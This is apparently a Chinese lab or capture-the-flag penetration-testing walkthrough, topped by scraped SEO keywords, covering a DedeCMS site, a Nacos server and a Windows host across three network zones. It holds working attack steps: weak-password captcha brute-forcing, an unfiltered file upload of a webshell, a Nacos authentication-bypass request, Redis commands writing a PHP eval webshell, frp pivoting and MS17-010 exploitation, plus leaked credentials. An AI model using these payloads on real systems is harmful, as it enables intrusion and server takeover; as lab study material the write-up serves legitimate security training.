简洁大气的网站首页,芜湖网站推广,京东网站建设需求分析报告,如何网络推广DMZ区域渗透
信息收集
首先先进行信息收集#xff0c;这里我们可以选择多种的信息收集方式#xff0c;例如nmap如此之类的#xff0c;我的建议是#xff0c;可以通过自己现有的手里小工具#xff0c;例如无影#xff0c;密探这种工具#xff0c;进行一个信息收集。以免…DMZ区域渗透
信息收集
首先先进行信息收集这里我们可以选择多种的信息收集方式例如nmap如此之类的我的建议是可以通过自己现有的手里小工具例如无影密探这种工具进行一个信息收集。以免在信息收集的环节遗漏一些信息导致后续渗透任务的失败。话不多说我们先确定靶机地址
使用ifconfig命令查看kali攻击机与DMZ靶机相连接的网卡这里得到一个网段地址192.168.50.0/24 使用nmap对其网段进行扫描 扫出来一个192.168.50.128开放了8080端口这里建议访问一下是不是我们的目标靶机 成功访问到一个cms平台那证明上述ip靶机已经发现。那我们还要继续进行一些常见的信息收集利用目录扫描工具进行扫描
使用dirsearch进行工具的扫描 得到如下结果可能会有用的
/member/login.php
/robots.txt
/data/sessions
再用我们自带的字典进行查找这个地方我直接用无影来扫了 这里我们得到一个管理后台的地址 又得到一个与sql文件有关的txt文件 我们现在先查看此sql文件存在那些相关信息 发现FTP服务的账户与密码 以及SMTP服务器的相关密码信息。
我们现在就需要去连接一下FTP服务器看看上面存在什么文件。 发现上面服务器存在dedecms.zip估计就是网站的源码先把他pull下来 我们将我们得到的信息进行总结
端口开放信息
21/tcp open ftp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
8080/tcp open http-proxy目录信息
/member/login.php //普通用户登录
/robots.txt
/data/sessions
/dede/login.php //后台管理用户登录文件信息
/install/sql-dfdata.txt //sql文件信息服务器相关信息
FTP wwwroot/1
SMTP desdev/7260444huxiao网站源码信息
dedecms.zip网站系统版本
dedecms57
源码审计GETSHELL
通过上述的信息收集我们已经知道/dede/login.php 是网站后台管理的登录页面那我们可以先从此处入手逐渐分析 先分析这个目录下的文件我们的目标是为了通过分析代码找到有无我们可以利用的漏洞点利用管理员账户的账户与密码信息或者是登录框存在sql注入。登陆到后台找到有无存在文件上传getshell的功能点。话不多说先进行分析
先来到login.php
?php
/*** 后台登陆** version $Id: login.php 1 8:48 2010年7月13日Z tianya $* package DedeCMS.Administrator* copyright Copyright (c) 2007 - 2010, DesDev, Inc.* license http://help.dedecms.com/usersguide/license.html* link http://www.dedecms.com*/
require_once(dirname(__FILE__)./../include/common.inc.php);
require_once(DEDEINC./userlogin.class.php);
if(empty($dopost)) $dopost ;//检测安装目录安全性
if( is_dir(dirname(__FILE__)./../install) )
{if(!file_exists(dirname(__FILE__)./../install/install_lock.txt) ){$fp fopen(dirname(__FILE__)./../install/install_lock.txt, w) or die(安装目录无写入权限无法进行写入锁定文件请安装完毕删除安装目录);fwrite($fp,ok);fclose($fp);}//为了防止未知安全性问题强制禁用安装程序的文件if( file_exists(../install/index.php) ) {rename(../install/index.php, ../install/index.php.bak);}if( file_exists(../install/module-install.php) ) {rename(../install/module-install.php, ../install/module-install.php.bak);}$fileindex ../install/index.html;if( !file_exists($fileindex) ) {$fp fopen($fileindex,w);fwrite($fp,dir);fclose($fp);}
}
//更新服务器
require_once (DEDEDATA./admin/config_update.php);if ($dopostshowad)
{include(templets/login_ad.htm);exit;
}
//检测后台目录是否更名
$cururl GetCurUrl();
if(preg_match(/dede\/login/i,$cururl))
{$redmsg div class\safe-tips\您的管理目录的名称中包含默认名称dede建议在FTP里把它修改为其它名称那样会更安全/div;
}
else
{$redmsg ;
}//登录检测
$admindirs explode(/,str_replace(\\,/,dirname(__FILE__)));
$admindir $admindirs[count($admindirs)-1];
if($dopostlogin)
{$validate empty($validate) ? : strtolower(trim($validate));$svali strtolower(GetCkVdValue());if(($validate || $validate ! $svali) preg_match(/6/,$safe_gdopen)){ResetVdValue();ShowMsg(验证码不正确!,login.php,0,1000);exit;} else {$cuserLogin new userLogin($admindir);if(!empty($userid) !empty($pwd)){$res $cuserLogin-checkUser($userid,$pwd);//successif($res1){$cuserLogin-keepUser();if(!empty($gotopage)){ShowMsg(成功登录正在转向管理管理主页,$gotopage);exit();}else{ShowMsg(成功登录正在转向管理管理主页,index.php);exit();}}//errorelse if($res-1){ResetVdValue();ShowMsg(你的用户名不存在!,login.php,0,1000);exit;}else{ResetVdValue();ShowMsg(你的密码错误!,login.php,0,1000);exit;}}//password emptyelse{ResetVdValue();ShowMsg(用户和密码没填写完整!,login.php,0,1000);exit;}}
}
include(templets/login.htm); 登录逻辑 这里存在一个函数两个参数
checkUser()
$userid
$pwd
还注意到在代码的开头包含了两个文件
require_once(dirname(__FILE__)./../include/common.inc.php);
require_once(DEDEINC./userlogin.class.php);
我们先全局搜索checkUser()函数 这个地方定义了这个函数我们分析以后还是没有看见有用的信息至少得找到数据库sql文件才行。但是经过一番查询后无果所以我先决定尝试下弱口令。看看是否能登录进去 由于此登录框存在验证码登录我们需要用到一个插件进行爆破。这里给出地址 地址https://github.com/f0ng/captcha-killer-modified
配置教程https://blog.csdn.net/weixin_72986003/article/details/144359468?ops_request_misc%257B%2522request%255Fid%2522%253A%252242e73ae4142c000e7df9f2123c3842f0%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257Drequest_id42e73ae4142c000e7df9f2123c3842f0biz_id0utm_mediumdistribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-9-144359468-null-null.142^v101^pc_search_result_base8utm_term%E9%AA%8C%E8%AF%81%E7%A0%81%E7%88%86%E7%A0%B4spm1018.2226.3001.4187
这里已经配置好了我们现在就开始爆破 成功找到弱口令密码得到管理员账户与密码
管理员账户密码
admin/admin
现在进行登录查看后台存在那些功能点根据后台功能点我们去反向审计源代码查看是否存在漏洞。
进入首页后我们发现在附件管理一栏发现存在上传文件的功能点 上述提示到系统的上传附件/其他 类型的文件可以通过其修改系统参数而进行更改那我们现在就需要找到系统参数的修改功能点添加后门文件类型。 那这个地方在附件管理的允许上传文件的类型中我们可以去添加我们想执行的后门文件类型例如
.php/.jsp/.asp
等诸如此类的文件这里我们先上传一个shell看看是否能执行。 但是这里没有上传成功那这个地方我们没办法再次进行利用现在只能去审计源码看看后台哪里还存在功能点。
审计到一处管理文件功能点
dede/file_manage_main.php
?php
/*** 文件查看** version $Id: file_manage_view.php 1 8:48 2010年7月13日Z tianya $* package DedeCMS.Administrator* copyright Copyright (c) 2007 - 2010, DesDev, Inc.* license http://help.dedecms.com/usersguide/license.html* link http://www.dedecms.com*/
require_once(dirname(__FILE__)./config.php);
CheckPurview(plus_文件管理器);
require_once(DEDEINC./oxwindow.class.php);
$activepath str_replace(.., , $activepath);
$activepath preg_replace(#^\/{1,}#, /, $activepath);
if($activepath /) $activepath ;
if($activepath ) $inpath $cfg_basedir;
else $inpath $cfg_basedir.$activepath;//显示控制层
//更改文件名
if($fmdorename)
{if($activepath) $ndirstring 根目录;$ndirstring $activepath;$wintitle nbsp;文件管理;$wecome_info 文件管理::更改文件名 [a hreffile_manage_main.php?activepath$activepath文件浏览器/a]/a;$win new OxWindow();$win-Init(file_manage_control.php,js/blank.js,POST);$win-AddHidden(fmdo,$fmdo);$win-AddHidden(activepath,$activepath);$win-AddHidden(filename,$filename);$win-AddTitle(更改文件名当前路径$ndirstring);$win-AddItem(旧名称,input nameoldfilename typeinput classalltxt idoldfilename size40 value$filename);$win-AddItem(新名称,input namenewfilename typeinput classalltxt size40 idnewfilename);$winform $win-GetWindow(ok);$win-Display();
}
//新建目录
else if($fmdonewdir)
{if($activepath) $activepathname根目录;else $activepathname$activepath;$wintitle nbsp;文件管理;$wecome_info nbsp;文件管理::新建目录 [a hreffile_manage_main.php?activepath$activepath文件浏览器/a]/a;$win new OxWindow();$win-Init(file_manage_control.php,js/blank.js,POST);$win-AddHidden(fmdo,$fmdo);$win-AddHidden(activepath,$activepath);$win-AddHidden(token,make_hash());$win-AddTitle(当前目录 $activepathname );$win-AddItem(新目录,input namenewpath typeinput classalltxt idnewpath);$winform $win-GetWindow(ok);$win-Display();
}//移动文件
else if($fmdomove)
{$wintitle nbsp;文件管理;$wecome_info nbsp;文件管理::移动文件 [a hreffile_manage_main.php?activepath$activepath文件浏览器/a]/a;$win new OxWindow();$win-Init(file_manage_control.php,js/blank.js,POST);$win-AddHidden(fmdo,$fmdo);$win-AddHidden(activepath,$activepath);$win-AddHidden(filename,$filename);$win-AddTitle(新位置前面不加/表示相对于当前位置加/表示相对于根目录。);$win-AddItem(被移动文件,$filename);$win-AddItem(当前位置,$activepath);$win-AddItem(新位置,input namenewpath typeinput classalltxt idnewpath size40);$winform $win-GetWindow(ok);$win-Display();
}//删除文件
else if($fmdodel)
{$wintitle nbsp;文件管理;$wecome_info nbsp;文件管理::删除文件 [a hreffile_manage_main.php?activepath$activepath文件浏览器/a]/a;$win new OxWindow();$win-Init(file_manage_control.php,js/blank.js,POST);$win-AddHidden(fmdo,$fmdo);$win-AddHidden(activepath,$activepath);$win-AddHidden(filename,$filename);if(is_dir($cfg_basedir.$activepath./$filename)){$wmsg 你确信要删除目录$filename 吗;}else{$wmsg 你确信要删除文件$filename 吗;}$win-AddTitle(删除文件确认);$win-AddMsgItem($wmsg,50);$winform $win-GetWindow(ok);$win-Display();
}//编辑文件
else if($fmdoedit)
{if(!isset($backurl)){$backurl ;}$activepath str_replace(..,,$activepath);$filename str_replace(..,,$filename);$file $cfg_basedir$activepath/$filename;$content ;if(is_file($file)){$fp fopen($file,r);$content fread($fp,filesize($file));fclose($fp);$content dede_htmlspecialchars($content);}$contentView textarea namestr idstr stylewidth:99%;height:450px;background:#ffffff;$content/textarea\r\n;$GLOBALS[filename] $filename;$path_parts pathinfo($filename);if ( $path_parts[extension] php ){$GLOBALS[extension] text/x-php;} else if($path_parts[extension] js){$GLOBALS[extension] text/javascript;} else if($path_parts[extension] css){$GLOBALS[extension] text/css;} else {$GLOBALS[extension] text/html;}$ctp new DedeTagParse();$ctp-LoadTemplate(DEDEADMIN./templets/file_edit.htm);$ctp-display();
}
/*编辑文件可视化模式
else if($fmdoeditview)
{if(!isset($backurl)){$backurl ;}if(!isset($ishead)){$ishead ;}$activepath str_replace(..,,$activepath);$filename str_replace(..,,$filename);$file $cfg_basedir$activepath/$filename;$fp fopen($file,r);$content fread($fp,filesize($file));fclose($fp);if((eregi(html,$content) eregi(body,$content)) || $ishead yes){$contentView GetEditor(str,$content,500,Default,string,true);}else{$contentView GetEditor(str,$content,500,Default,string,false);}$GLOBALS[filename] $filename;$ctp new DedeTagParse();$ctp-LoadTemplate(DEDEADMIN./templets/file_edit_view.htm);$ctp-display();
}
*/
//新建文件
else if($fmdonewfile)
{$content ;$GLOBALS[filename] newfile.txt;$contentView textarea namestr stylewidth:99%;height:400/textarea\r\n;$GLOBALS[token] make_hash();$ctp new DedeTagParse();$ctp-LoadTemplate(DEDEADMIN./templets/file_edit.htm);$ctp-display();
}//上传文件
else if($fmdoupload)
{$ctp new DedeTagParse();$ctp-LoadTemplate(DEDEADMIN./templets/file_upload.htm);$ctp-display();
} 这个地方上传的代码并没有存在任何的上传过滤对文件内容以及常见的恶意文件后缀名没有进行任何的过滤导致我们可以轻松获得shell。 成功上传shell。但是在平常的练习中尽可能找到多的代码漏洞点。所以我们继续审计代码查看有无其他漏洞点。 /dede/media_main.php
在此处我们发现他调用了上述文件管理的功能点所以这里也可上传shell,对应到web站点上 这里我就不在继续进行源码分析我们先继续往下进行。
访问我们shell。使用蚁剑进行连接
shell地址
http://192.168.50.128:8080/shell.php
成功获得flag flag{78477a738c06620b872421af357d2cd5}
完成我们的DMZ区域的任务。
目标
拿下二层网络设备获取某服务内的flag
二层设备区域渗透
前期渗透准备
对于内网的渗透我们前期要考虑诸多的因素比如内网的首台机器出不出网。这是一点其次是内网环境到底是存在内网域或者是其他渗透手法也不近相同。除此之外内网的渗透其实和外网相差不大但是在前期的信息收集等方面还是存在一定的差异。在前期渗透准备时我们需要将我们的工具上传到我们此时已经拿到shell的服务器或者主机上。因为在宿主机上是不存在我们的渗透的工具的如果宿主机出网我们能够下载工具也无不可。
先连接蚁剑进行工具的上传 成功上传至我们的DMZ区域。现在就要进行信息的收集。
二层区域渗透
常见的来说我们需要知晓在此机器上存在几张网卡网段ip是什么。所以先行找到这个部分。 这里我们可以发现在二网卡的网段
192.68.60.0/24
所以现在就好办了我们用我们已经上传的fscan进行扫描针对这个网段看看能不能扫描出来一些有用的东西。 成功扫描以后会在fscan的当前目录下生成一个result.txt文件我们可以进行查看。 在其扫描的结果内我们可以看见我们的fscan的POC扫描成功扫描出来一个在192.168.60.129的8848的一个nacos的一个漏洞。
由于我们的攻击机是不能直接访问到二层设备区域的这里咱们使用frp进行反向代理使我们的攻击机也能正常访问我们的二层区域。
在kali攻击机中开启fprs.exe(服务端)frps.toml配置文件默认为7000端口用于和客户端进行交互 然后在kali上开启服务 再在DMZ区域进行连接。 这里就已经成功了。我们可以尝试用kali的工具去测试一下到底是否能连接成功。 成功能ping到。我们现在就对刚才那个漏洞进行测试。
这里用nuclei也能扫描到一些漏洞 因为这些密码是加密以后的还原还是比较困难或者大家可以去CMD5上面去查我没钱就只能用漏洞重置密码了。
文章分析 https://blog.csdn.net/weixin_51345872/article/details/127066347?ops_request_misc%257B%2522request%255Fid%2522%253A%2522cb0d78319a8457953a471f680a14840e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257Drequest_idcb0d78319a8457953a471f680a14840ebiz_id0utm_mediumdistribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-5-127066347-null-null.142^v101^pc_search_result_base8utm_termnacos-authentication-bypassspm1018.2226.3001.4187
/nacos/v1/auth/users?usernametest123passwordtest123
访问上述路由后会创建一个账号
账号密码
test123/test123 成功创建这里创建账号的时候我们使用的POST方式。并不是GET。
创建成功后直接登录 这是第一个flag 注意到还有其他的信息我们这里看到。 存在一个password。当然现在不知道是哪里的密码。我们这里再用namp去扫一扫。
这里用nmap进行扫描的时候我们也要进行代理这里我们用proxychains进行代理。
在/etc/proxychains4.conf,添加如下配置。 这个地方就和刚才我们在frp中的攻击机地址一样即可。我们在进行nmap扫描的时候就需要加一个前缀进行代理扫描。
例如 这里纯扫描是不能行的开启代理扫即可 这里扫出来了一个/phpinfo.php
我们能够得到一些敏感信息
/var/www/html 能够得到我们的绝对路径
我们之前用fscan的方式也扫描出来一个redis的默认服务端口6379那我们之前得到一个密码现在就起到了一个作我们可以写一个shell进去。
config set dir /var/www/html
config set dbfilename shell.php
set x \r\n\r\n?php eval($_POST[cmd]);?
save 前往蚁剑进行连接此处可以使用蚁剑自行配置代理或proxifier指定文件 在根目录下找到flag。
到这里第二层的渗透也结束了我们现在要准备进行第三层的渗透测试
三层区域信息收集
老样子上传fscan到二层设备上 这里扫描出来一个MS17-010的漏洞
直接利用工具进行注入利用 然后再注入dll文件 这个过程中会创建一个账号密码分别为
admin01/Config123!#
我们进行连接 成功获得flag